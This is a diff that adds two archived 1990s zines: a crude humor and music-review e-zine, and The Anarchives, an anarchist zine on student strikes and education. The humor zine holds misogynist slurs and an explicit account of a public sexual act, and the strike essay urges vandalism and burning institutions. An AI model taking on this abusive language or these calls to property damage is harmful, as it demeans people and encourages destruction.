Francis/Frank Black + + Answer : Dear Frank, + Well, first, you must RISE UP IN GLORIOUS REBELLION + AGAINST THE FASCIST DOMINATION OF THOSE WHO OWN PROPERTY + AND DENY YOU WHAT IS RIGHTFULLY YOURS! + Plus, you may want to start a proper exercise and diet + plan. Consult your doctor if you need more details. + + Karl + + + Question: Dear Father of Communism, + Why must we buy postage stamps? We can make our + own. + Rodney Anonymous + + Answer : Dear Rodney, + Comrade, this question has no bearing at all on + health. I suggest you contact your local post + office, or a Congressman. + + Karl + + (Karl can no longer continue, as we have just informed him that he has + been dead for over a century. Feeling unable to cope with this + knowledge, he disintegrated. We apologize for the inconvienience. + - Ed.) + +----------------- +2.03 Moo Cows +----------------- + Why did I name this "Moo Cows"? How ridiculous. Anyway. + Those who read the first issue may recognize our hostility and disgust + toward the Pixies. Let me clarify. + + The only album I really enjoy anymore is _Surfer Rosa_. And no, it's + not simply because of the producer, so shut your traps. I do like the + whole sound of the album, however, "Something Against You" and "Vamos" + being my tracks of choice. This had to have been the most UNHINGED + album this band had ever released. I also kind of liked the EP, _Come + On Pilgrim_, but it was a bit too slow for me, exceptions being "Isla + De Encanta" and "Nimrod's Son". Kind of. + + So why did they break up? Kim Deal reputedly got along with Black + Francis as well as I get along with Tipper Gore. By the way, what the + fuck kind of name is "Tipper"? I was going to go onto a whole + branch-off, but decided to spare everybody. Anyway. + + By the way, the main reason I got into the Pixies was because I thought + Kim Deal was cute. (yeah, yeah, yeah.. I was young and didn't pick + bands for good reasons, fuck off) She's getting married/is married + to Jim Greer from SPIN (I think that's the SPINner). I think the + Breeders have a good run at being a good band. I liked _Pod_, even + though it's kind of Pixie-ish. Wasn't as fond of _The Breeders' + Last Splash_, however. Weird enough to deserve my respect, but + not appealing enough to get me to listen more than a couple times + a year. + +------------------------ +2.04 Can't Get A Job +------------------------ + + So. I live in Hell. Hell should, by all laws of nature, have + vacancies in (relatively) cool places. Nope. All the record stores.. + taken. So what's a poor boy to do? Curl up and die, I guess.. + no. Guess not. Still here, which is good. Still broke, which is + not. Oh, well, you take the good with the bad, I suppose. + + This is a list of jobs I was considering: + + * Working in one of the 2 semi-cool record stores here + * Working for a computer store, but the only new one around + here is run by a guy I can't fucking stand + * Getting a programming job, only I don't know what the fuck + I'm doing yet + * Uma Thurman's love slave (doesn't pay $$, but would be + loads of fun); shot out because she's apparently with De + Niro + * Translate songs that appear on "Latino MTV" and re-record + them for regular MTV + + What do ya think? Am I shooting too high? Yeah? Geez, no wonder + the moon fell outta the sky and knocked me flat on my ass. + +------------------ +2.05 Slam List +------------------ + + Ah! My favorite part of the issue. Wish everything bad upon these + people/places/things. AHAHAHAHAHAHA!!!!! + + My psychotic, possessive ex-girlfriend (c. Feb '93) + My age-obsessed ex-girlfriend (c. Sept. '93) + Frank Black + Al Jourgensen + Top 40 music + "Alternative rock" + Corporate rock (see directly above) + Lyric thieves + Anyone who hates moocows + The Dead Milkmen (for slamming on Bob, Greg, and Grant) + Tori Spelling (we need to hate a different 90210 personality) + Shannen Doherty (No, we don't) + Rev. W. Harris of Indianapolis + R. Waples, the 6-foot dorsal fin at law + All the TV stations in Indianapolis + The FCC + Beavis and Butt-head + + +------------- +2.06 Why? +------------- + + This is the question that you should ask yourself if you gave into + physical cravings and simply fucked some slutbitch instead of a goddess + that's totally devoted to you. "Why?!" Why waste your time getting + some disease when you could be off looking for a Christina Applegate + clone or maybe even Uma Thurman herself.. but wait, is she married? + With the way Hollywood is anymore, would it matter? Is she that + devoted to Robert De Niro? + + Oh well. I'm sorry, I'd write more on "Why?!" but I just lost my train + of thought. Didn't even blow its whistle. + +---------------------------- +2.07 White Punks on Punk +---------------------------- + + Today, I stood in the local mall, pondering. Why was I in the shrine + of commerciality? To buy clothes. You know, dress shirts and shit + like that, for job interviews (see 2.04). Anyway... + + I noticed, as I watched all the worthless metalhead and + jock/princess pieces of shit stride or slink by, that I had + virtually nothing in common with anyone in that fucking mall. And I + was pleased. I had managed, after a life of people trying to force me + into one mold or another, to retain MY personality. + + But, for a laugh, I went into Musicland. Home of processed shit-rock, + nationwide. So, I'm in music hell.. and I'm getting fucking depressed. + Nothing off an indie label. Unless, like a fucked-up bandwagoner, + you consider Sire to be indie. Nope. Sire is an extension of Warner + Bros. Death to corporate rock! + + But here are some albums we enjoyed, that we bought in Indy. Note that + we reserve the right to review albums that are new to us, not + necessarily new to the public. Here goes: + + + _75% Less Fat_ - Chris Mars + ------------------------- + You know, it has been awhile since ish #1.. _Horseshoes and Hand + Grenades_ was released just before #1 was. And now, Mr. Mars has + graced us with another aural document of talent. + + Okay... first thing: A lot of the songs sound the same. Worse so than + _Horseshoes_. But it's still pretty good. + + Second: Same kind of music as the first album, basically. + + Third: Not a lot to say about it, just... buy it. + + - released on Smash Records + + _Land Speed Record_ - Husker Du + ------------------------------- + Excellent '81 (?) live document of the OTHER legendary Minneapolis + band. The atmosphere is pure rushed excitement, which almost entirely + makes up for the fact that no one I've played it for can understand a + fucking word anyone on it is saying. Nor can I. "Guns At My School" + was the clearest song for me... "Do the Bee" was the easiest to hear + for Brent (of the Spooners). + + Anyway.. the Huskers go from one song to the next, with barely a break. + The album kicks off with the tension reliever "All Tensed Up". No pun + intended. That song leads into "Don't Try to Call". and leads up to + the end of side one, "Don't Have a Life". + + Side Two: The churning "Bricklayer", into "Tired of Doing Things", + all the way through to "Data Control", which ends the album. Lyric to + remember: "Gilligan's Island/That's where I wanna be/I wanna fuck + Ginger/and live in a palm tree." - "Gilligan's Island" + + - orig. Reflex Records, then SST Records + + + _Everything Falls Apart_ - Husker Du + ------------------------------------ + The band's first studio attempt shows considerable rage and talent. + Bob Mould, the perpetual AYM, leads Grant Hart and Greg Norton + through some of the loudest punk songs ever released. + + Included on this album is a somewhat intelligible version of + "Bricklayer", and (Jesus CHRIST!!) a cover of Donovan's "Sunshine + Superman". The latter, of course, sounds better than the original.. + it's a world's difference between smoking pot (Donovan) and taking + speed (guess who?). + + There are songs that foreshadow the band's future musical maturity: + the title track is well-written (and well-screamed); "Gravity" has one + of the best basslines Husker could have asked for; and "From the Gut" + showed their diversity of style (Hart's militaristic snare being a + majorly dominant instrument). Lyric of the Day: "You don't like the + way we look/Obnoxious/You don't like the way we talk/Obnoxious.." - + "Obnoxious" + + - orig. Reflex Records, then Rhino Records + +-------------------------- +2.08 I Am Joe's Spleen +-------------------------- + + I am Joe's spleen. And boy, is Joe pissed! His liver isn't working + properly because all the sad son-of-a-bitch does is sit around his + house and drink! Worthless fucker! But anyway.. + + Joe, when he still cared about his job, was a record producer. Joe was + a real asshole to his clients. UNTIL... someone got pissed and taught + Joe a lesson, with a bicycle pump and a length of rubber hose. Then, + after Joe got out of the hospital (giving me a well-needed vacation.. + producing gallons of blood very quickly is no easy task!), Joe began + drinking. He drank and drank and drank. And smoked. + + Last night, I liberated myself from Joe's body. I got a match, lit it, + and stuck it in the half-empty bottle of Jack that Joe was still + holding in his hand, even though he was passed out. The flames laid + the place down.. but I got away. + + Now.. I am Billy Ray's spleen. Just wait till this worthless fucker + starts bleeding and overworking me.. his achy breaky heart will be the + least of his problems. Long haired hilljack piece of motherfucking + shit. He can take his remaining three teeth and two I.Q. points and + shove them up his achy breaky ass. What a waste of flesh. + +------------------- +2.09 KMC Update +------------------- + + We're still chugging along, all. I'm (kind of) making a comeback + with "Mark Of Cain", which is a good ol' slammin' style MOD. + + We now have achieved distribution again: Dark Sun Distribution + has kindly given us a copyright for all our material under its + business license, and has taken charge of distribution. (NOTE: + We are now legitimate shareware authors! yay) + + We have gained and lost a member, since the last issue.. the name + shall remain unmentioned, to prevent boosting of his ego, but + suffice it to say that the vote taken by the KMC regarding his + dismissal was prompted by his alleged involvement in illegal + activities, one of which was reputed to be hacking. His reply to + our dismissal was abusive and disrespectful towards the entire + KMC, and myself especially, and claimed that he had quit two weeks + prior to our notice. I declined to reply, seeing as how a reply + would have been quite useless and would have provoked another + string of mindless garbage from our former associate. (NOTE: I + wanted to reply, saying "You failed to report your voluntary + termination of membership to any KMC member, therefore, the + official statement will state that you were dismissed." I'm such + a smartass. :) ) + + Well, that's the update. Greetings to Major Tom/Audioscape/Deus + Lucifer, if his eyes should fall upon this. + +-------------------------------------- +2.10 In Defense Of Shannen Doherty +-------------------------------------- + + Why attempt to defend someone that's undefensable? I thought it + would be cool to take an unpopular stance, but I've decided that I + just cannot stand her anyway. + + What that whole paragraph means is that I have nothing to say in + defense of Shannen Doherty. Plain/simple. + +---------------------------------- +2.11 Pissing On The Third Rail +---------------------------------- + + (Before I continue, let me clearly state that if you actually + perform the action that the title of this section details, you + will be a fried motherfucker.) + + Pissing on the third rail can be an enlightening experience. Just + ask Father Snee, of Our Lady of Perpetual Motion, Backwoods, IN: + + "Aye, boys, I've had my share of leaks on that fabled rail. I've + also been treated for the resulting burns. But the one thing + that's kept me from a painful electric death is my faith in God -" + + At this point, we had to cut Father Snee off. We had forgotten + his involvement with religion, so we went on a valiant search + throughout Backwoods to look for someone else who had undergone a + similar experience. We found that very person in Jay Starr, who + had attempted to break the local beer-drinking record of + thirty-seven in one sitting: + + "Well, I.. I... no, sir, I didn't have no sex with your daughter! + I swear! Those pictures she has of her giving head ain't got me + in 'em! No way!" + + Apparently, Jay's sexual freedom (and slow witted bullshitting) + was a product of his experience with the third rail. An + unfortunate side effect was his inability to stay focused on one + topic of conversation. + + We do not advise any such usage of the third rail of a subway + system, in any way, shape, or form. Be wary, and just to be safe, + don't go to any city that has a subway. + +------------------------------------------------- +2.12 Black Francis/Frank Black's Neighborhood +------------------------------------------------- + + "Hello, kids. Won't you be my neighbor? Good. Then give me back + the guitar your daddy borrowed from me. + "Are we getting along well? Good! I'm so happy, kids. Do you + know why Uncle Frank is so happy?" + + "NO, UNCLE FRANK! WHY?" + + "Because Uncle Frank sold a lot of albums to gullible people who + were expecting the Pixies Mark 2! And it's not! It's really a + horrid piece of shit album! + "Oops, kids! Uncle Frank used a bad word! And you know what that + means.." + + "TIME FOR A CARTOON!" + + + + "Ah, wasn't that great, kids?" + + "SURE WAS, UNCLE FRANK!" + + "Ah, this gig is great. Do you know why Uncle Frank does this?" + + + + "Yes, Johnny?" + + "Uh, Uncle Frank.. is it because you don't have any new material + for the next album yet and you feel like your career is on the + rocks?" + + "Wrong, Johnny.. and by the way, there's no Santa Claus. Anyone + else?" + + "Is it because you felt upstaged by Kim Deal and you still do, so + you decided to host a kids show and make sure you could feel like + you were bigger than somebody?" + + "No, Susie, and by the way, Madonna is bisexual. Anyone at all?" + + "I know why, Uncle Frank." + + "Why, David?" + + "Because you're a better showman than a musician." + + + + "Guess I was right." + +------------------------------------- +2.13 Milo Aukerman's Neighborhood +------------------------------------- + + Dear ALL? NO! ALL!! Readers, + + Yes, 'tis that time again. That time that I enlighten the readers + of this electronic publication of the life beyond the Descendents, + of life in Smalltown, USA. Last time I wrote from Tupelo, now I'm + living in Westfield, IN. What a place. A Dairy Queen right + across the road from a Taco Bell, and right next to a US highway. + I hang out at the DQ as much as I can, cause there's not a lot + else to do here. I sometimes drive the 20 or so miles to Indy to + find cool music, but that's it. Soon, it'll be time for me to + move on, because this place is fucking boring. + + Oh, here's something of note. I sit back on Friday nights, and + watch people at the DQ. One night, and I NEVER thought I'd see + this in Indiana, I watched some chick give her date a handjob + under the table, for all the world to see. That's probably normal + for teenage Indiana, but the out-of-the-ordinary factor was that + her date was a girl, as well. And you could tell they were both + getting off on it, even without looking under the table, just + looking at their faces. There are some looks that are unique to + sheer ecstacy (sp?). The girl who was receiving put on a good + show of normalcy by just eating her ice cream like nothing was + happening. So did the other girl, with her free hand. I could + see her squeezing her thighs together under the table, so she was + getting hers, too. The one getting fingered tensed up and then + relaxed, and then her friend got off, as well. + + That just shocked me to death. Never in Indiana, I thought. And + if so, not in a goddamn Dairy Queen. Oh well.. their gain, and my + free live sex show. Ain't life grand? + + Aloha, all! + Milo + +------------------------------------------ +2.14 Can You Ski? Pt. II: The Revenge +------------------------------------------ + + This quiz won't help you determine if you can ski, but it will + tell you approximately how fucked up we are. + + 1) If asked to, could you worship Geena Davis? + + a) Yes. + b) No. + c) I already do. + d) I live under a rock, who is Geena Davis? + + 2) Would you attempt to piss Lee Ving off by voting for him for + mayor of San Francisco? + + a) Well, Jello lost, why not? + b) I'd like to see Sonny Bono leave Sacramento for SF. + c) No, Clint Eastwood, all the way, man. + d) Nah, try Pittsburgh. + + 3) Did your ancestors eat their dead? + + a) Huh?! + b) With an order of fries. + c) These are potential BBS voting questions.. + d) No, they didn't go in for bisexual necrophilia. + + Okay, maybe these questions mean even less than we thought.. + that's why there's so few. Oh well. Part I was better. + +------------------------------ +2.15 Have A Lovely Evening +------------------------------ + + Well, I hope you liked this issue, as it was a joy for me to put + together for six months or so. God.. how could it have taken so + fucking long? Procrastination isn't good when you're running an + E-zine.. + + Anyway. Good night and have a pleasant tomorrow. + + +------------------------------------------------------------------------------- + + Where did I put the Calamine lotion, anyway? + - one of the Coasters, in the 1950's + +------------------------------------------------------------------------------- + diff --git a/textfiles.com/magazines/MISC/anarchives_2_2_1.txt b/textfiles.com/magazines/MISC/anarchives_2_2_1.txt new file mode 100644 index 00000000..dfaff599 --- /dev/null +++ b/textfiles.com/magazines/MISC/anarchives_2_2_1.txt @@ -0,0 +1,1032 @@ + + +The Anarchives Volume 2 Issue 2 Part One Free + + The Anarchives To get free paper version send + + The Anarchives Snail-mail addresses to + + The Anarchives yakimov@ecf.utoronto.ca + + + + Anarchy & Education + + The Canadian Student Strike + + + +This transmission contains: Strike For Student Rights + + Don't Call Students... + + Anarchism, Freedom is Free, & Anarchy + + + + Forward, spam, post, print, or send this everywhere... + +########################################################################### + +## ## + +## . ## + +## $$ ## + +## d$$b A ## + +## d$ $c N ## + +## .e$$ee$$e.. a ## + +## zd*$$" $$P*$e. r ## + +## .$" z$P $$. "$e C ## + +## $E $$ $$ $b h ## + +## $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ Y ## + +## '$ $$ *$c $P ## + +## 3$$ *$$P ##G + +## d$*bc. ..d$$. ##i + +## d$" "**$eeee$**""^$$. ##l + +## d$" "$$ ##o + +## ##9 + +## ##5' + +########################################################################### + + + + + + + + + +Strike For Student Rights + + + +University for the individual can be a time of conflict and + +confrontation. Often for the first time, the truth, or at least + +the closest thing, is presented to the post-secondary student. + + + +The truth of a global exploitative system that wreaks its havoc + +on all forms of humanity. Through various disciplines and + +courses, the complexity and expansiveness of this system is + +presented to students. For perhaps the first time in their lives + +they are confronted with perhaps a less than perfect picture of + +our so-called liberal democracy. + + + +Here the student is faced with three main options. + + + +The first and seemingly most common choice is to attempt to + +altogether ignore the horrible truth being presented. This is + +often accomplished through large consumption of beer, booze, and + +many other recreational drugs, along of course with the generous + +aid of television. + + + +The second option, is to simply accept the truth as it is. + +Accept that it is just a process of human development, and + +communism has failed so what are you supposed to do. From this + +standpoint it becomes easier to compete for a spot among the + +elite, or their supporting class. Gotta get those good grades to + +get a good job. + + + +The third choice, really the only viable one, is to accept the + +truth, while at the same time rejecting its implications. A + +rejection of what is being taught, and the beginning or + +continuation of the struggle for alternatives. The desire to + +stand up in class and say, "This is shit! We gotta do something + +about this!" + + + +This third choice leads to the struggle for Student Rights... + + + + + +Every person has the right to a decent, free education. The + +pricing of education is an integral part of the commoditization + +of human labour and subsequently humanity itself. We are always + +learning from birth to death. Or at least we should be, free + +education can help ensure this. + + + +Every person has the right to learn what they want, how they + +want it, and when they want it. This would include not just + +choosing courses, but the curriculum and evaluations of the + +course. + + + +Education should be a process of empowerment rather than + +submission to authority. Professors should be guiding students + +towards the exploration and development of their studies. + +Equipping them with the tools needed to find the truth/answers + +to their problems. Students leading the class, the professors + +provide the fuel. Instead of enforcing their views and + +conclusions upon the class, professors should help create an + +environment that encourages original and critical thinking. + + + +Education should be a never ending process. We must escape from + +the formal institution of education. It is our job to build an + +environment that supports a continual learning process. Real + +life as education. + + + + + +Strike. Study. strike. study, will someone out there stop + +studying and start striking, break down doors and throw some + +MP's furniture out the window. This chance for protest doesn't + +not just consider student tuition but rather the entire social + +service industry. Unions might be self interested beaurocracies + +but the reality of a capitalist system automatically calls for + +either sacrifice or welfare. With the present liberal budget, + +people previously dependant on government assistance will make + +up a new lower labour class willing to work for under minimum + +wage with less financial security. It is what Chomsky calls the + +third world within the first world. The liberal budget is + +following a fascist approach left behind by Reagan, Bush, + +Thatcher, and Mulrooney, among others. If you render your rights + +to an oligarchy and find yourself trapped in a cold institution, + +one way of warming it is to burn it down. + + + + + +A lot of schools across Canada have declined the opportunity to + +strike on Jan. 25 1995. What the fuck's up with this?! A strike + +is an excellent activity for class consciousness. Students need + +to realize the power they have in numbers, not to mention desire + +for change. I'm striking every time I skip a class. I've been + +complaining about schools and the education system since + +kindergarten. I wanna see lots o' changes in education. Rising + +tuition is not one of them. Prices are going up, and active + +student participation is going down. We gotta get our shit + +together. + + + +With the absence of a powerful "grassroots" student + +organization, the onus for resistance and revolution lays on the + +individual. It becomes the responsibility for student activists + +to 'cause shit wherever and whenever they can. The most + +effective often comes within the classroom. Professors authority + +should be challenged at all points, as well as the authority of + +those being studied. + + + +Until a large collective of autonomous groups can rise up and + +demand what is rightfully theirs, individuals must take the + +weight of fighting back. Large student groups that wish to + +compete with the government by forming large hierarchical + +organizations, are doomed to pragmatic self-interested actions + +rather than radical change of the education system. Change must + +come from the bottom up, not dictated from the top down. + + + +We've all gotta do our share to take our freedom... + + + +Jesse Hirsh + + + + + + + + + +Don't Call Students When the Revolution Comes + + + +by Jay Terpstra + +jterpstra@trentu.ca + + + +There is a story about public education mirroring the assembly + +line patterns of modern industrialization, creating a surplus of + +information-glutton automatons. A university is run by + +pre-determined laws and curricula. The danger is the end of + +anything fresh. Neil Postman called the act of modern day + +education to be an exercise in ventriliquilization and Malcolm X + +called it miseducation. Meanwhile, minds continue to rot and + +robotize and the castles still stand. + + + +Sitting in the principles office, the spit of the principles + +declarations started to burn my cries of defence. I would either + +crack under the weight of his towering suited frame and broad + +desk shoulders or I would be so shocked by his skits of faked + +disappointed toughness and so unimpressed by his desperate + +attempts to coerce admission of my crimes carefully categorized + +and moralized to fit guilt and shame that I would start to + +laugh. The awful realization that I was being sucked into a game + +of rank and rule pissed me off to the point where I'd be sent + +off to a higher course of punishment. + + + +In university the forces of beaurocracy are more subtle. + +Students, like children have little effect on education past + +paying the ticket price at the door. Just like members of an + +industrial factory students have to put their hands in the lines + +of standardized knowledge without pulling any of the wrong + +screws. That infinite amounts of text are routinely recited is + +not in itself a problem until a blindness to any alternatives + +(often the realistic ones) occurs. Narrow education emerges with + +the over examination of the specifics of a past theory such as + +in politics; the structure of style as in english, the + +rationalization of everything such as in sciences. It's often + +impossible to keep an original opinion against previously set + +guidelines and significant data. For the professors to be able + +to grade people they must have predetermined parameters. At the + +outset of a course the professor already knows the purpose and + +point of the course and just like a minister their job is to + +sell the point, whatever the truth is that they profess. + +Professors are only roles of a wide structure that has failed + +to influence much more than shit packing. + + + + Noam Chomsky points out, "Those whom we call intellectuals + +have tended to see the state as the avenue to power, prestige, + +and influence". University is a place of mass imitation of the + +status quo. This is bound to happen in a place that masks live + +experience behind sacred text. Memorization and mathematical + +categorization is valued over individual creations and + +open-ended questions. It's easy to kill dissension when most + +students are too busy figuring out guidelines, grades and + +graduation. Paul Goodman suggested that high school and post + +secondary education be replaced with on-site direct education. + +He goes on to say that university "should be reserved for adults + +who already know something about which to philosophise. + +Otherwise, as Plato pointed out, such 'education' is just mere + +verbalizing". Instead of sections of people in standardized + +departments, students should have the unconditional right to + +pursue an entirely independent curriculum. Taking interest and + +ambition into assumption this could be the most efficient means + +to a meaningful education. Goodman points out that instead of + +supporting costly institutions, the government could fund + +individual students directly . Yet many would nevertheless sink + +to the fear that students wouldn't acquire the essential + +theories and prerequisites necessary for academically accepted + +interpretation. The schools consider students to be the same + +rather than interconnected, a group of successful and less + +successful people rather than as individuals with unique + +abilities and interests. + + + + The legendary founder of free schools, Francisco Ferrer + +believed the true educator to be someone who "does not impose + +his own ideas and will on the child, but appeals to its own + +energies" . Almost a hundred years after Ferrer was shot by the + +government for being too radical, his common sense vision of + +education is still not a reality. After years of imposition, + +students learn to insert their energies into ready-made roles. + +Emma Goldman's critique of university education and liberal + +capitalism is still a potent cry for the freedom and + +deinstitutionalization of education: + + + +The ideal of the average pedagogist is not a complete, + +well-rounded, original being; rather does he seek that the + +result of his art or pedagogy shall be autonomous of flesh and + +blood, to best fit into the treadmill of society and the + +emptiness and dullness of our lives. Every home, school, college + +and university stands for dry, cold utilitarianism, + +overflooding the brain of the pupil with a tremendous amount of + +ideas, handed down from generations past. 'Facts and data,' as + +they are called, constitute a lot of information, well enough + +perhaps to maintain every form of authority and to create much + +awe for the importance of possession, but only a great handicap + +to a true understanding of the human soul and its place in the + +world. + + + + The castles made of sand still standing. + + + + + +ANARCHISM + + + +by: Lior Stecklov + +ai797@freenet.victoria.bc.ca + + + +"In the battle for freedom, as Ibsen has so well pointed out, it + +is the struggle for, not so much the attainment of, liberty, + +that develops all that is strongest, sturdiest and finest in + +human character." + + + + + + .e$$$$$$$$$$$bee.. + + " ^"""**$$$$$$$e. + + .ed$$$$$e. zc ^*$$$$$$$c + + z$$$$$$$$$$$$e 4$$$. "$$$$$$b. + + .$$$$$$$$$$$$$$".$$$$$P "$$$$$$b. + + d$$$$$$$$$$$$$$% $$$$$$ ^$$$$$$$c + + .$$$$$$$P""""*$$F $$$$$$ ^$$$$$$$b + + 4$$$$$$P" ^ d$$$$$" 3$$$$$$$b + + .$$$$$$" J$$$$$% $$$$$$$$r + + $$$$$$ 4$$$$$F d$c $$$$$$$$$ + + 4$$$$$ .$$$$$P J$$$b. $$$$$$$$$ + + 4$$$$F *$$$$$b "$$$$$$$$$$$$ + + 4$$$$ $$$$$$$$$$$$$$$c ^$$$$$$c "$$$$$$$$$% + + $$$$ J$$$$$$$$$$$$$$$$$. "$$$$$$. *$$$$$*" + + ^$$$L .$$$$$$$$$$$$$$$$$$eb *$$$$$b . + + *$$. ^$$$$$$c zF + + "$$ J$$$$$$$ "$$$$$$. .d$ + + ^*. $$$$$$$$b .d$$F + + *$$$$$$$$$c.. .zd$$$$F + + *$$$$$$$$$$$$$$$$$$$$$$$$$$$$" + + "$$$$$$$$$$$$$$$$$$$$$$$$*" + + "*$$$$$$$$$$$$$$**"" Gilo94' + + + + + +These words of Emma Goldmann may best sum up what anarchism + +means to me. Although I often think that I would like to present + +a comprehensive theory of anarchism, I do not believe that there + +is one. How can there be a theory to explain the yearning of the + +soul for freedom, human dignity, the shame of repression ? the + +spark of spirit that seeks new and daring worlds ? There + +are some basic ideas underlying anarchism but they do not + +constitute a dogma, scientific or otherwise. The first idea is + +that people are inherently good, that human nature does not need + +to be coerced for society to function. Human beings live in + +society from the moment they are born to the moment they die. To + +conceive of a person without society is an absurdity: thought, + +language, belief, sexuality and love are what we give and take + +with others and are what define the deepest aspects of life. + +Yet we are born into a society which is hostile to free thought, + +which uses language as a means of control, which trivializes + +beliefs and replaces them with dogma, which denigrates sexuality + +to the level of a function and raises love to the level of an + +ideal. Whenever we question these perversions, rationalizations + +are riveted into place and the cold steel hull of the ship of + +social "order" is cast off into the ocean of historical + +illusions. But in a world where the multiplicity of human + +interactions makes for unlimited spontaneity, the certainty of + +social order creates a paradox which both poets and economists + +must know. A society based on illusions fostered by social + +order cannot cope with reality, and the needs of the people will + +assert themselves through revolution while the needs of Nature + +will assert themselves as we continue to destroy the + +environment. Underlying the fear of human nature is the + +great mass of repression and fear of change which characterizes + +modern society. The fear of human nature is what keeps the + +systems in place, it is the excuse given by most people who know + +injustice but are afraid of change, it is the justification + +given for every savage repression by the ruling elites. Yet + +whatever systems are proposed are bound to fail because they are + +resistant to change, the essence of humanity and nature. The + +very idea that there is an ultimate system that will run human + +affairs is a product of the type of thinking arising from + +hierarchical society, where individuals are alienated from + +community, from real contact with each other and are simply + +considered as abstract "agents" to be manipulated. Hierarchical + +society is a society where every person or group has power of + +coercion over another: relationships are conceived through power + +structures. Sound strange or weird ? Open the T.V. or + +newspaper, look around your workplace or classroom with new + +eyes, look at your family. It is so close to us that we can't + +see it or believe it. Our thinking has been appropriated by it. + +It is not just the words: it is what you don't read in your + +newspaper, it is the tone of the announcer as the news is read; + +it is the rightness of your boss or prof, it is the emptiness + +found at home. + + + +"Freedom without socialism is privilege and + +injustice...Socialism without freedom is slavery and brutality." + + Mikael Bakunin + + + +The same hierarchical relations apply to political systems which + + are a product of hierarchical thinking, of the belief that + +something can be "over" people. This is as much the failure of + +Marxism as of liberal capitalism or fascism. The Marxist + +system, which is supposed to be theoretically imposed by history + +and practically by the proletariat has failed as revolution. + +Anarchism split off from the Marxist dominated revolutionary + +movement in 1872 because anarchists such as Mikael Bakunin + +believed that Marxist ideology would lead to a totalitarian + +state. This is exactly what has happened in the Soviet Union, + +Cuba, China and so on. And while Marxism has many important + +contributions to revolutionary ideology, its subsumption into a + +type of religion and its esoteric philosophical concepts have + +done much to hurt the cause of true revolution. + + + +" A map of the world that does not include Utopia is not worth + + even glancing at, for it leaves out the one country at which + +Humanity is always landing. And when Humanity lands there, it + +looks out, and seeing a better country, sets sail. Progress is + +the realization of Utopias." Oscar Wilde + + + + Of course, this does not mean that anarchism stands for riot + +and mayhem and that Anarchists do not believe in thought. + +Certainly, a dialectic of revolution is called for, but this + +dialectic must be true to its origins: any dialectic that + +presumes to know the answers it will find, that knows its + +ultimate end must be called into question. As with philosophy, + +as with real life. Any social movement which sets up an end + +point and imposes it cannot be a truly revolutionary movement. + +Revolution is never ending, it starts from one point, moves to + +another, and again to another. Change is the rule, not the + +exception. Anarchism's "end point" is the point where society + +can accept change without destroying human life or the + +environment. If this is the Utopia, let it be. Anarchists + +are often charged with being utopian dreamers yet it is + +Anarchism which destroys the illusion that power can solve human + +problems. Power, and by this we mean the power to coerce, never + +solves more problems than it creates ! Power is antihuman: a + +being who relates through power will always dehumanize the + +other. What Anarchists demand is a solution to social problems + +without using power, and this is a lot harder than anything else + +because it demands a human response, a spontaneous response, a + +direct, personal, real, unmediated response ! Anarchism demands + +that you think for yourself, never retreating into dogma, + +useless and endless causality (henceforth called mind-fucking), + +abstruse mysticism, bourgeois decadence and pettiness. Freedom + +>from compulsion allows the development of all that is beautiful + +in human existence. "Breath, breath in the air, don't be afraid + +to care.." goes the Pink Floyd song. Without coercion, people + +can reach out to each other and solve problems through + +community. At the workplace, community will replace the power + +games and enmity between the labourers and the managers. The + +land will be given back to the People, and small, self-reliant + +communities will spring up which practice sustainable + +agriculture and resource use. Small communities will be able to + +harness renewable energy and the exploitation of fossil fuels + +will be minimized. Work will become play: instead of the torpid + +monotony and stress that most people find in work there will be + +diversity and personal growth. Urban lands that were once set + +aside for cars and for the rich will be turned into + +horticultural gardens where food is grown. + + + +Listen to your inner voice, Which you've sold under stress: + +Contractual agreement on emptiness The mouth not yours now the + +lips slightly taught, the jaw set: A wind stirs they begin to + +shake the breath too Anger, joy and even fear, form into sound, + +into thought and word, whispered in love, embraced as life, + +spoken by toil, screamed through struggle Freedom ! Freedom ! + + + +History teaches that there are two opposing forces that shape + +political destiny: revolution and reaction. Revolution, the + +force for change, the new, the creative; Reaction, the + +opposition of change, keeping things the same, keeping things + +"stable" in the doublespeak of the Bourgeoisie. Everything that + +is happening in the world today is a product of history and the + +dialectic of opposites formed by revolution and reaction. This + +dialectic forms the basis of revolutionary thought, both Marxist + +and anarchist. The word dialectic simply means reasoning through + +the synthesis of two opposites. Once we see the revolutionary + +dialectic, we can understand the necessity of revolution and + +nurture it rather than pervert it into totalitarianism. This + +situation is especially urgent in the tension between the + +"North" and "South" which is actually a tension between reaction + +and revolution. The wealthy powerful world are using every means + +to keep the majority of the world oppressed and poor. The + +rebellion in Chiapas is a good example of this trend and we must + +support the rebels in every way possible. Next issue I will + +expand on the dialectic of revolution and discuss the meaning of + +Statism, Capitalism and the international imbalance. + + + +GOOD BOOKS + + + +Shulman, Alix Kates. 1972. Red Emma Speaks. Random House: New + +York. Bookchin, Murray. Post-Scarcity Anarchism Morris, + +Brian. Bakunin: the philosophy of freedom Marshal, Peter. + +Demanding the Impossible : A History of Anarchism. Kropotkin, + +Peter. The Conquest of Bread. + + + +FREEDOM IS FREE + + + +by J.V. Kiss-An + + + +The word freedom can't explain fully what it stands for. freedom + +is an inherent property and not a temporary state of being. + +Freedom can't be partial. Freedom is the essential component for + +a healthy and peaceful society Freedom provides the energy for + +the physical and mental body to properly function Freedom is not + +a commodity to fight over or trade. Freedom belongs to + +everybody: It is not a privilege Freedom leads one to wisdom. + +Wisdom is not an intellectual property to be copyrighted or + +patented. Freedom is not a compensation or reward for a trick + +performed. Because of its abstract nature, freedom has + +manifested itself in different forms. Anarchy is probably the + +purest form so far. Freedom stays a dead word under capitalist + +ideology. If you are activated by the spirit of freedom it only + +shows you are a normal human being This quality needs nurturing + +and will produce positive thinking in a world full of + +negativity. Remove the price tag put on freedom by the greedy + +who have sought to own the priceless It does not take a genius + +to figure out that we live in a sick society where food, water + +and air have price tags put on them. It's time we learned the + +art of giving, an easy way to achieve freedom. + + + +Anarchy + + + +by Darrell Lake + + + +Anarchy is aiming to destroy corporate capitalism. There are no + +other political motivations to follow, just individuals leading + +by example; to inspire people to practice anarchy themselves. + + + +Anarchy in the sense of defining one's own politics. Defining + +one's own lifestyle with a social consciousness. Fighting + +capitalism by escaping it and building alternatives. + + + +By following the examples of other individuals this anarchy will + +not be promoting chaos or trying to exterminate all rational + +thought. Instead it attempts further environmental awareness on + +several different levels by making the individual more + +intelligent and independent of the flaws of the society they + +live in. + + + +We're not looking at big and wasteful political awareness + +campaigns advertising in the same corporate backed mediums it + +wishes to destroy. Anarchy has to be kept on an individual, + +community level, 